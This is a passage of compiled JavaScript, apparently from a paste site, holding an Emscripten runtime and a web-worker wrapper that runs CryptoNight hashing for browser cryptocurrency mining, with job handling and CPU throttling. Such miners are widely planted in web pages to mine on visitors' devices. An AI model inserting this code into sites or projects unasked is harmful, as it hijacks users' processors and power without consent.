  5105.      "getTotalMemory": getTotalMemory,
  5106.      "abortOnCannotGrowMemory": abortOnCannotGrowMemory,
  5107.      "invoke_ii": invoke_ii,
  5108.      "invoke_iiii": invoke_iiii,
  5109.      "invoke_viii": invoke_viii,
  5110.      "_gmtime_r": _gmtime_r,
  5111.      "_gmtime": _gmtime,
  5112.      "___lock": ___lock,
  5113.      "___syscall6": ___syscall6,
  5114.      "___setErrNo": ___setErrNo,
  5115.      "___unlock": ___unlock,
  5116.      "_ftime": _ftime,
  5117.      "_emscripten_memcpy_big": _emscripten_memcpy_big,
  5118.      "___syscall54": ___syscall54,
  5119.      "___syscall140": ___syscall140,
  5120.      "___syscall20": ___syscall20,
  5121.      "___assert_fail": ___assert_fail,
  5122.      "___syscall146": ___syscall146,
  5123.      "DYNAMICTOP_PTR": DYNAMICTOP_PTR,
  5124.      "tempDoublePtr": tempDoublePtr,
  5125.      "ABORT": ABORT,
  5126.      "STACKTOP": STACKTOP,
  5127.      "STACK_MAX": STACK_MAX
  5128.  };
  5129.  var asm = Module["asm"](Module.asmGlobalArg, Module.asmLibraryArg, buffer);
  5130.  Module["asm"] = asm;
  5131.  var _cryptonight_hash = Module["_cryptonight_hash"] = (function() {
  5132.      return Module["asm"]["_cryptonight_hash"].apply(null, arguments)
  5133.  });
  5134.  var getTempRet0 = Module["getTempRet0"] = (function() {
  5135.      return Module["asm"]["getTempRet0"].apply(null, arguments)
  5136.  });
  5137.  var _free = Module["_free"] = (function() {
  5138.      return Module["asm"]["_free"].apply(null, arguments)
  5139.  });
  5140.  var runPostSets = Module["runPostSets"] = (function() {
  5141.      return Module["asm"]["runPostSets"].apply(null, arguments)
  5142.  });
  5143.  var setTempRet0 = Module["setTempRet0"] = (function() {
  5144.      return Module["asm"]["setTempRet0"].apply(null, arguments)
  5145.  });
  5146.  var establishStackSpace = Module["establishStackSpace"] = (function() {
  5147.      return Module["asm"]["establishStackSpace"].apply(null, arguments)
  5148.  });
  5149.  var _memmove = Module["_memmove"] = (function() {
  5150.      return Module["asm"]["_memmove"].apply(null, arguments)
  5151.  });
  5152.  var stackSave = Module["stackSave"] = (function() {
  5153.      return Module["asm"]["stackSave"].apply(null, arguments)
  5154.  });
  5155.  var _memset = Module["_memset"] = (function() {
  5156.      return Module["asm"]["_memset"].apply(null, arguments)
  5157.  });
  5158.  var _malloc = Module["_malloc"] = (function() {
  5159.      return Module["asm"]["_malloc"].apply(null, arguments)
  5160.  });
  5161.  var _cryptonight_create = Module["_cryptonight_create"] = (function() {
  5162.      return Module["asm"]["_cryptonight_create"].apply(null, arguments)
  5163.  });
  5164.  var _memcpy = Module["_memcpy"] = (function() {
  5165.      return Module["asm"]["_memcpy"].apply(null, arguments)
  5166.  });
  5167.  var _emscripten_get_global_libc = Module["_emscripten_get_global_libc"] = (function() {
  5168.      return Module["asm"]["_emscripten_get_global_libc"].apply(null, arguments)
  5169.  });
  5170.  var stackAlloc = Module["stackAlloc"] = (function() {
  5171.      return Module["asm"]["stackAlloc"].apply(null, arguments)
  5172.  });
  5173.  var setThrew = Module["setThrew"] = (function() {
  5174.      return Module["asm"]["setThrew"].apply(null, arguments)
  5175.  });
  5176.  var _sbrk = Module["_sbrk"] = (function() {
  5177.      return Module["asm"]["_sbrk"].apply(null, arguments)
  5178.  });
  5179.  var _fflush = Module["_fflush"] = (function() {
  5180.      return Module["asm"]["_fflush"].apply(null, arguments)
  5181.  });
  5182.  var stackRestore = Module["stackRestore"] = (function() {
  5183.      return Module["asm"]["stackRestore"].apply(null, arguments)
  5184.  });
  5185.  var _cryptonight_destroy = Module["_cryptonight_destroy"] = (function() {
  5186.      return Module["asm"]["_cryptonight_destroy"].apply(null, arguments)
  5187.  });
  5188.  var ___errno_location = Module["___errno_location"] = (function() {
  5189.      return Module["asm"]["___errno_location"].apply(null, arguments)
  5190.  });
  5191.  var dynCall_ii = Module["dynCall_ii"] = (function() {
  5192.      return Module["asm"]["dynCall_ii"].apply(null, arguments)
  5193.  });
  5194.  var dynCall_iiii = Module["dynCall_iiii"] = (function() {
  5195.      return Module["asm"]["dynCall_iiii"].apply(null, arguments)
  5196.  });
  5197.  var dynCall_viii = Module["dynCall_viii"] = (function() {
  5198.      return Module["asm"]["dynCall_viii"].apply(null, arguments)
  5199.  });
  5200.  Runtime.stackAlloc = Module["stackAlloc"];
  5201.  Runtime.stackSave = Module["stackSave"];
  5202.  Runtime.stackRestore = Module["stackRestore"];
  5203.  Runtime.establishStackSpace = Module["establishStackSpace"];
  5204.  Runtime.setTempRet0 = Module["setTempRet0"];
  5205.  Runtime.getTempRet0 = Module["getTempRet0"];
  5206.  Module["asm"] = asm;
  5207.  if (memoryInitializer) {
  5208.      if (typeof Module["locateFile"] === "function") {
  5209.          memoryInitializer = Module["locateFile"](memoryInitializer)
  5210.      } else if (Module["memoryInitializerPrefixURL"]) {
  5211.          memoryInitializer = Module["memoryInitializerPrefixURL"] + memoryInitializer
  5212.      }
  5213.      if (ENVIRONMENT_IS_NODE || ENVIRONMENT_IS_SHELL) {
  5214.          var data = Module["readBinary"](memoryInitializer);
  5215.          HEAPU8.set(data, Runtime.GLOBAL_BASE)
  5216.      } else {
  5217.          addRunDependency("memory initializer");
  5218.          var applyMemoryInitializer = (function(data) {
  5219.              if (data.byteLength) data = new Uint8Array(data);
  5220.              HEAPU8.set(data, Runtime.GLOBAL_BASE);
  5221.              if (Module["memoryInitializerRequest"]) delete Module["memoryInitializerRequest"].response;
  5222.              removeRunDependency("memory initializer")
  5223.          });
  5224.  
  5225.          function doBrowserLoad() {
  5226.              Module["readAsync"](memoryInitializer, applyMemoryInitializer, (function() {
  5227.                  throw "could not load memory initializer " + memoryInitializer
  5228.              }))
  5229.          }
  5230.          if (Module["memoryInitializerRequest"]) {
  5231.              function useRequest() {
  5232.                  var request = Module["memoryInitializerRequest"];
  5233.                  if (request.status !== 200 && request.status !== 0) {
  5234.                      console.warn("a problem seems to have happened with Module.memoryInitializerRequest, status: " + request.status + ", retrying " + memoryInitializer);
  5235.                      doBrowserLoad();
  5236.                      return
  5237.                  }
  5238.                  applyMemoryInitializer(request.response)
  5239.              }
  5240.              if (Module["memoryInitializerRequest"].response) {
  5241.                  setTimeout(useRequest, 0)
  5242.              } else {
  5243.                  Module["memoryInitializerRequest"].addEventListener("load", useRequest)
  5244.              }
  5245.          } else {
  5246.              doBrowserLoad()
  5247.          }
  5248.      }
  5249.  }
  5250.  
  5251.  function ExitStatus(status) {
  5252.      this.name = "ExitStatus";
  5253.      this.message = "Program terminated with exit(" + status + ")";
  5254.      this.status = status
  5255.  }
  5256.  ExitStatus.prototype = new Error;
  5257.  ExitStatus.prototype.constructor = ExitStatus;
  5258.  var initialStackTop;
  5259.  var preloadStartTime = null;
  5260.  var calledMain = false;
  5261.  dependenciesFulfilled = function runCaller() {
  5262.      if (!Module["calledRun"]) run();
  5263.      if (!Module["calledRun"]) dependenciesFulfilled = runCaller
  5264.  };
  5265.  Module["callMain"] = Module.callMain = function callMain(args) {
  5266.      args = args || [];
  5267.      ensureInitRuntime();
  5268.      var argc = args.length + 1;
  5269.  
  5270.      function pad() {
  5271.          for (var i = 0; i < 4 - 1; i++) {
  5272.              argv.push(0)
  5273.          }
  5274.      }
  5275.      var argv = [allocate(intArrayFromString(Module["thisProgram"]), "i8", ALLOC_NORMAL)];
  5276.      pad();
  5277.      for (var i = 0; i < argc - 1; i = i + 1) {
  5278.          argv.push(allocate(intArrayFromString(args[i]), "i8", ALLOC_NORMAL));
  5279.          pad()
  5280.      }
  5281.      argv.push(0);
  5282.      argv = allocate(argv, "i32", ALLOC_NORMAL);
  5283.      try {
  5284.          var ret = Module["_main"](argc, argv, 0);
  5285.          exit(ret, true)
  5286.      } catch (e) {
  5287.          if (e instanceof ExitStatus) {
  5288.              return
  5289.          } else if (e == "SimulateInfiniteLoop") {
  5290.              Module["noExitRuntime"] = true;
  5291.              return
  5292.          } else {
  5293.              var toLog = e;
  5294.              if (e && typeof e === "object" && e.stack) {
  5295.                  toLog = [e, e.stack]
  5296.              }
  5297.              Module.printErr("exception thrown: " + toLog);
  5298.              Module["quit"](1, e)
  5299.          }
  5300.      } finally {
  5301.          calledMain = true
  5302.      }
  5303.  };
  5304.  
  5305.  function run(args) {
  5306.      args = args || Module["arguments"];
  5307.      if (preloadStartTime === null) preloadStartTime = Date.now();
  5308.      if (runDependencies > 0) {
  5309.          return
  5310.      }
  5311.      preRun();
  5312.      if (runDependencies > 0) return;
  5313.      if (Module["calledRun"]) return;
  5314.  
  5315.      function doRun() {
  5316.          if (Module["calledRun"]) return;
  5317.          Module["calledRun"] = true;
  5318.          if (ABORT) return;
  5319.          ensureInitRuntime();
  5320.          preMain();
  5321.          if (Module["onRuntimeInitialized"]) Module["onRuntimeInitialized"]();
  5322.          if (Module["_main"] && shouldRunNow) Module["callMain"](args);
  5323.          postRun()
  5324.      }
  5325.      if (Module["setStatus"]) {
  5326.          Module["setStatus"]("Running...");
  5327.          setTimeout((function() {
  5328.              setTimeout((function() {
  5329.                  Module["setStatus"]("")
  5330.              }), 1);
  5331.              doRun()
  5332.          }), 1)
  5333.      } else {
  5334.          doRun()
  5335.      }
  5336.  }
  5337.  Module["run"] = Module.run = run;
  5338.  
  5339.  function exit(status, implicit) {
  5340.      if (implicit && Module["noExitRuntime"]) {
  5341.          return
  5342.      }
  5343.      if (Module["noExitRuntime"]) {} else {
  5344.          ABORT = true;
  5345.          EXITSTATUS = status;
  5346.          STACKTOP = initialStackTop;
  5347.          exitRuntime();
  5348.          if (Module["onExit"]) Module["onExit"](status)
  5349.      }
  5350.      if (ENVIRONMENT_IS_NODE) {
  5351.          process["exit"](status)
  5352.      }
  5353.      Module["quit"](status, new ExitStatus(status))
  5354.  }
  5355.  Module["exit"] = Module.exit = exit;
  5356.  var abortDecorators = [];
  5357.  
  5358.  function abort(what) {
  5359.      if (Module["onAbort"]) {
  5360.          Module["onAbort"](what)
  5361.      }
  5362.      if (what !== undefined) {
  5363.          Module.print(what);
  5364.          Module.printErr(what);
  5365.          what = JSON.stringify(what)
  5366.      } else {
  5367.          what = ""
  5368.      }
  5369.      ABORT = true;
  5370.      EXITSTATUS = 1;
  5371.      var extra = "\nIf this abort() is unexpected, build with -s ASSERTIONS=1 which can give more information.";
  5372.      var output = "abort(" + what + ") at " + stackTrace() + extra;
  5373.      if (abortDecorators) {
  5374.          abortDecorators.forEach((function(decorator) {
  5375.              output = decorator(output, what)
  5376.          }))
  5377.      }
  5378.      throw output
  5379.  }
  5380.  Module["abort"] = Module.abort = abort;
  5381.  if (Module["preInit"]) {
  5382.      if (typeof Module["preInit"] == "function") Module["preInit"] = [Module["preInit"]];
  5383.      while (Module["preInit"].length > 0) {
  5384.          Module["preInit"].pop()()
  5385.      }
  5386.  }
  5387.  var shouldRunNow = true;
  5388.  if (Module["noInitialRun"]) {
  5389.      shouldRunNow = false
  5390.  }
  5391.  run();
  5392.  var CryptonightWASMWrapper = (function() {
  5393.      this.ctx = _cryptonight_create();
  5394.      this.throttleWait = 0;
  5395.      this.throttledStart = 0;
  5396.      this.throttledHashes = 0;
  5397.      this.workThrottledBound = this.workThrottled.bind(this);
  5398.      this.currentJob = null;
  5399.      this.target = new Uint8Array([255, 255, 255, 255, 255, 255, 255, 255]);
  5400.      var heap = Module.HEAPU8.buffer;
  5401.      this.input = new Uint8Array(heap, Module._malloc(84), 84);
  5402.      this.output = new Uint8Array(heap, Module._malloc(32), 32);
  5403.      self.postMessage("ready");
  5404.      self.onmessage = this.onMessage.bind(this)
  5405.  });
  5406.  CryptonightWASMWrapper.prototype.onMessage = (function(msg) {
  5407.      var job = msg.data;
  5408.      if (job.verify_id) {
  5409.          this.verify(job);
  5410.          return
  5411.      }
  5412.      if (!this.currentJob || this.currentJob.job_id !== job.job_id) {
  5413.          this.setJob(job)
  5414.      }
  5415.      if (job.throttle) {
  5416.          this.throttleWait = 1 / (1 - job.throttle) - 1;
  5417.          this.throttledStart = this.now();
  5418.          this.throttledHashes = 0;
  5419.          this.workThrottled()
  5420.      } else {
  5421.          this.work()
  5422.      }
  5423.  });
  5424.  CryptonightWASMWrapper.prototype.destroy = (function() {
  5425.      _cryptonight_destroy(this.ctx)
  5426.  });
  5427.  CryptonightWASMWrapper.prototype.hexToBytes = (function(hex, bytes) {
  5428.      var bytes = new Uint8Array(hex.length / 2);
  5429.      for (var i = 0, c = 0; c < hex.length; c += 2, i++) {
  5430.          bytes[i] = parseInt(hex.substr(c, 2), 16)
  5431.      }
  5432.      return bytes
  5433.  });
  5434.  CryptonightWASMWrapper.prototype.bytesToHex = (function(bytes) {
  5435.      for (var hex = "", i = 0; i < bytes.length; i++) {
  5436.          hex += (bytes[i] >>> 4).toString(16);
  5437.          hex += (bytes[i] & 15).toString(16)
  5438.      }
  5439.      return hex
  5440.  });
  5441.  CryptonightWASMWrapper.prototype.meetsTarget = (function(hash, target) {
  5442.      for (var i = 0; i < target.length; i++) {
  5443.          var hi = hash.length - i - 1,
  5444.              ti = target.length - i - 1;
  5445.          if (hash[hi] > target[ti]) {
  5446.              return false
  5447.          } else if (hash[hi] < target[ti]) {
  5448.              return true
  5449.          }
  5450.      }
  5451.      return false
  5452.  });
  5453.  CryptonightWASMWrapper.prototype.setJob = (function(job) {
  5454.      this.currentJob = job;
  5455.      this.blob = this.hexToBytes(job.blob);
  5456.      this.input.set(this.blob);
  5457.      var target = this.hexToBytes(job.target);
  5458.      if (target.length <= 8) {
  5459.          for (var i = 0; i < target.length; i++) {
  5460.              this.target[this.target.length - i - 1] = target[target.length - i - 1]
  5461.          }
  5462.          for (var i = 0; i < this.target.length - target.length; i++) {
  5463.              this.target[i] = 255
  5464.          }
  5465.      } else {
  5466.          this.target = target
  5467.      }
  5468.  });
  5469.  CryptonightWASMWrapper.prototype.now = (function() {
  5470.      return self.performance ? self.performance.now() : Date.now()
  5471.  });
  5472.  CryptonightWASMWrapper.prototype.hash = (function(input, output, length) {
  5473.      var nonce = Math.random() * 4294967295 + 1 >>> 0;
  5474.      this.input[39] = (nonce & 4278190080) >> 24;
  5475.      this.input[40] = (nonce & 16711680) >> 16;
  5476.      this.input[41] = (nonce & 65280) >> 8;
  5477.      this.input[42] = (nonce & 255) >> 0;
  5478.      _cryptonight_hash(this.ctx, input.byteOffset, output.byteOffset, length)
  5479.  });
  5480.  CryptonightWASMWrapper.prototype.verify = (function(job) {
  5481.      this.blob = this.hexToBytes(job.blob);
  5482.      this.input.set(this.blob);
  5483.      for (var i = 0, c = 0; c < job.nonce.length; c += 2, i++) {
  5484.          this.input[39 + i] = parseInt(job.nonce.substr(c, 2), 16)
  5485.      }
  5486.      _cryptonight_hash(this.ctx, this.input.byteOffset, this.output.byteOffset, this.blob.length);
  5487.      var result = this.bytesToHex(this.output);
  5488.      self.postMessage({
  5489.          verify_id: job.verify_id,
  5490.          verified: result === job.result
  5491.      })
  5492.  });
  5493.  CryptonightWASMWrapper.prototype.work = (function() {
  5494.      var hashes = 0;
  5495.      var meetsTarget = false;
  5496.      var start = this.now();
  5497.      var elapsed = 0;
  5498.      do {
  5499.          this.hash(this.input, this.output, this.blob.length);
  5500.          hashes++;
  5501.          meetsTarget = this.meetsTarget(this.output, this.target);
  5502.          elapsed = this.now() - start
  5503.      } while (!meetsTarget && elapsed < 1e3);
  5504.      var hashesPerSecond = hashes / (elapsed / 1e3);
  5505.      if (meetsTarget) {
  5506.          var nonceHex = this.bytesToHex(this.input.subarray(39, 43));
  5507.          var resultHex = this.bytesToHex(this.output);
  5508.          self.postMessage({
  5509.              hashesPerSecond: hashesPerSecond,
  5510.              hashes: hashes,
  5511.              job_id: this.currentJob.job_id,
  5512.              nonce: nonceHex,
  5513.              result: resultHex
  5514.          })
  5515.      } else {
  5516.          self.postMessage({
  5517.              hashesPerSecond: hashesPerSecond,
  5518.              hashes: hashes
  5519.          })
  5520.      }
  5521.  });
  5522.  CryptonightWASMWrapper.prototype.workThrottled = (function() {
  5523.      var start = this.now();
  5524.      this.hash(this.input, this.output, this.blob.length);
  5525.      var end = this.now();
  5526.      var timePerHash = end - start;
  5527.      this.throttledHashes++;
  5528.      var elapsed = end - this.throttledStart;
  5529.      var hashesPerSecond = this.throttledHashes / (elapsed / 1e3);
  5530.      if (this.meetsTarget(this.output, this.target)) {
  5531.          var nonceHex = this.bytesToHex(this.input.subarray(39, 43));
  5532.          var resultHex = this.bytesToHex(this.output);
  5533.          self.postMessage({
  5534.              hashesPerSecond: hashesPerSecond,
  5535.              hashes: this.throttledHashes,
  5536.              job_id: this.currentJob.job_id,
  5537.              nonce: nonceHex,
  5538.              result: resultHex
  5539.          });
  5540.          this.throttledHashes = 0
  5541.      } else if (elapsed > 1e3) {
  5542.          self.postMessage({
  5543.              hashesPerSecond: hashesPerSecond,
  5544.              hashes: this.throttledHashes
  5545.          });
  5546.          this.throttledHashes = 0
  5547.      } else {
  5548.          var wait = Math.min(2e3, timePerHash * this.throttleWait);
  5549.          setTimeout(this.workThrottledBound, wait)
  5550.      }
  5551.  });
  5552.  Module["onRuntimeInitialized"] = (function() {
  5553.      var cryptonight = new CryptonightWASMWrapper
  5554.  })
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement